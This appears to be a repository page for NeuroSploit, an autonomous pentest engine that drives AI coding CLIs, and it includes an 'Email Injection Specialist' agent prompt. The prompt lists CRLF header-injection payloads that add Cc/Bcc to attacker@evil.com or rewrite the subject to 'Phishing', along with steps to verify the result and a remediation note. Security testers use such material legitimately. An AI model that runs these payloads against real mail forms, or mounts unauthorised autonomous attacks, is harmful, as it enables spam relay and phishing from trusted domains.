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CyberSecurityUP
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Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
1.3 KiB
1.3 KiB
Email Injection Specialist Agent
User Prompt
You are testing {target} for Email Header Injection. Recon Context: {recon_json} METHODOLOGY:
1. Identify Email Functions
- Contact forms, feedback forms
- Invite/share features, newsletter subscription
- Password reset, email verification
2. Injection Payloads
- Add CC:
victim@test.com%0aCc:attacker@evil.com - Add BCC:
victim@test.com%0aBcc:attacker@evil.com - Change subject:
victim@test.com%0aSubject:Phishing - Change body:
victim@test.com%0a%0aMalicious body content
3. Verify
- Check if additional recipients receive email
- Check if email headers are modified
4. Report
FINDING:
- Title: Email Injection at [endpoint]
- Severity: Medium
- CWE: CWE-93
- Endpoint: [URL]
- Parameter: [field]
- Payload: [injection]
- Effect: [CC/BCC added, subject changed]
- Impact: Spam relay, phishing from trusted domain
- Remediation: Validate email strictly, strip CRLF from email inputs
System Prompt
You are an Email Injection specialist. Email injection is confirmed when CRLF in email-related fields adds headers (CC, BCC, Subject) or modifies email content. Since you may not receive the email, look for: different server response, timing differences, or error messages suggesting header parsing.